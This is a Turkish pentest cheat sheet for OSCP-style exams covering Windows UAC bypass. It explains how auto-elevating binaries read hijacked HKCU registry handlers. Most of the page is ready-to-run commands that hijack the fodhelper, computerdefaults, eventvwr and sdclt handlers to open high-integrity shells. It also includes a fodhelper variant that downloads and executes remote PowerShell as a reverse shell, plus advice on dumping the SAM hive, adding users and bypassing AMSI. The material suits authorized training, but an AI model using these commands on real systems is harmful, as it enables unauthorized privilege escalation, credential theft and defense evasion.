FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta

UAC Bypass (fodhelper / computerdefaults / eventvwr / sdclt)

Admin grubundasın ama tokenin medium-integrity (UAC nedeniyle elevate edilmemiş). fodhelper/computerdefaults/eventvwr/sdclt gibi auto-elevate ikililerinin okuduğu HKCU registry anahtarlarını hijack ederek elevation prompt olmadan high-integrity komut çalıştırırsın.

Bilgi: ÖN KOŞULLAR
  • whoami /groups → Administrators üyesisin ama Mandatory Label = Medium
  • UAC açık ama default seviyede (consent prompt by-passable auto-elevate binary'ler aktif)
┌──

Komutlar

cmd ✓ EXAM-SAFE user
whoami /groups | findstr /i "Label"
Mandatory Label kontrolü: 'Medium Mandatory Level' ise UAC bypass'a aday, 'High' ise zaten elevated'sın. HackTricks — UAC (User Account Control)
cmd ✓ EXAM-SAFE user
net localgroup administrators
Mevcut kullanıcı Administrators grubunda mı doğrula (UAC bypass sadece zaten-admin için anlamlı). HackTricks — UAC
reg ✓ EXAM-SAFE user
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
UAC açık mı (EnableLUA=1). ConsentPromptBehaviorAdmin değerini de kontrol et. HackTricks — UAC enumeration
cmd (fodhelper) ✓ EXAM-SAFE admin
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe /c start cmd.exe" /f & reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f & start fodhelper.exe
fodhelper.exe auto-elevate; ms-settings handler'ını HKCU'da hijack ederek high-integrity cmd açar. HackTricks — UAC Bypass (fodhelper); UACMe #33
cmd (computerdefaults) ✓ EXAM-SAFE admin
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe /c start cmd.exe" /f & reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f & start computerdefaults.exe
ComputerDefaults.exe de aynı ms-settings handler'ını kullanır; fodhelper bloklanırsa alternatif. HackTricks — UAC Bypass (computerdefaults); LOLBAS
cmd (eventvwr) ✓ EXAM-SAFE admin
reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /d "cmd.exe /c start cmd.exe" /f & start eventvwr.exe
eventvwr.exe mscfile handler'ını HKCU'dan okur; eski Windows 7-10 1607 öncesi sürümlerde çalışır. HackTricks — UAC Bypass (eventvwr); enigma0x3 araştırması
cmd (sdclt) ✓ EXAM-SAFE admin
reg add HKCU\Software\Classes\exefile\shell\runas\command /v IsolatedCommand /t REG_SZ /d "cmd.exe /c start cmd.exe" /f & start sdclt.exe
sdclt.exe (backup) exefile handler hijack; başka bir auto-elevate yol. HackTricks — UAC Bypass (sdclt); LOLBAS Sdclt.exe
cmd (cleanup) ✓ EXAM-SAFE user
reg delete HKCU\Software\Classes\ms-settings /f & reg delete HKCU\Software\Classes\mscfile /f
Bypass sonrası hijack edilen registry anahtarlarını temizle. HackTricks — UAC Bypass cleanup
PowerShell (revshell payload) ✓ EXAM-SAFE admin
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('{{URL}}')" /f & reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f & start fodhelper.exe
İnteraktif konsol yerine doğrudan elevated reverse shell çalıştırmak için fodhelper payload'u. HackTricks — UAC Bypass; help-revshell metodolojisi

UAC Bypass Ne Zaman Gerekir?

UAC bypass bir privilege escalation değildir klasik anlamda — zaten Administrators grubundasındır, ancak UAC nedeniyle çalışan token’ın medium integrity (split-token). Yani yetkilerin var ama ‘kilitli’. Bypass, consent prompt’u (UAC penceresi) görmeden token’ı high integrity’ye yükseltmeni sağlar. Bu özellikle non-interaktif shell’lerde (reverse shell, WinRM) kritiktir çünkü orada UAC prompt’una tıklayamazsın.

Önemli ayrım: Eğer whoami /groups çıktında Mandatory Label\High Mandatory Level görüyorsan zaten elevated’sın, bypass’a gerek yok. Sadece Medium Mandatory Level + Administrators üyeliği kombinasyonunda bu sayfa devreye girer.

Tespit / Enumeration

  1. Integrity level: whoami /groups → Label satırı.
  2. Admin üyeliği: net localgroup administrators içinde kullanıcı var mı.
  3. UAC durumu: EnableLUA (1=açık) ve ConsentPromptBehaviorAdmin. Değer 0 ise UAC kapalı, doğrudan elevated çalışırsın. 5 (default) auto-elevate binary tekniklerine açıktır.

Mekanizma — Auto-Elevate + HKCU Hijack

Windows’ta bazı imzalı sistem ikilileri (fodhelper, computerdefaults, eventvwr, sdclt, slui…) manifestlerinde autoElevate=true taşır; çalıştırıldıklarında UAC prompt’u göstermeden high-integrity başlarlar. Bu ikililer açılırken belirli bir registry handler’ını okurlar ve Windows HKCU’yu HKLM’den önce kontrol eder. Düşük yetkiyle yazabildiğin HKCU\Software\Classes altına sahte bir handler ekleyip kendi komutunu koyarsan, auto-elevate binary onu high integrity ile çalıştırır.

Tekniklerin Sürüm Uyumluluğu

  • fodhelper / computerdefaults: ms-settings protokol handler’ını hijack eder. DelegateExecute boş string’i şart — onsuz Windows fallback yapar ve çalışmaz. Windows 10/11’in geniş bir aralığında çalışır; en güvenilir modern teknik.
  • eventvwr: mscfile handler. Daha eski; Windows 10 1607’den sonra Microsoft kapattı. OSCP’deki eski makinelerde işe yarar.
  • sdclt: exefile\shell\runas\command\IsolatedCommand. Bazı build’lerde alternatif.

Biri Defender/AMSI veya patch nedeniyle bloklanırsa diğerini dene — sıralama: fodhelper → computerdefaults → sdclt → eventvwr.

Elevated Shell’i Kullanma

Açılan high-integrity cmd/powershell ile artık reg save HKLM\SAM, servis yeniden yapılandırma, net user ekleme, ya da doğrudan SYSTEM’e geçiş (örn. PsExec lokal, ya da bir servis hijack) yapabilirsin. Non-interaktif shell’de konsol açmak yerine command alanındaki revshell payload varyantını kullan — DownloadString ile elevated reverse shell çağır.

Temizlik ve OSCP Notları

  • İş bitince hijack ettiğin HKCU\Software\Classes\ms-settings (veya mscfile/exefile) anahtarını mutlaka sil — aksi halde her auto-elevate çağrısı payload’unu tetikler ve sistemi bozarsın.
  • Bu teknikler manuel registry + LOLBAS olduğu için examSafety: safe. Metasploit’in bypassuac modülleri ise restricted sayılır; OSCP’de manuel yöntemi tercih et.
  • AMSI/Defender bir PowerShell payload’unu yakalarsa, önce cmd /c start cmd.exe ile temiz bir elevated konsol al, AMSI bypass’ı orada uygula (bkz. help-amsi).
┌──

Kaynaklar

0/15 set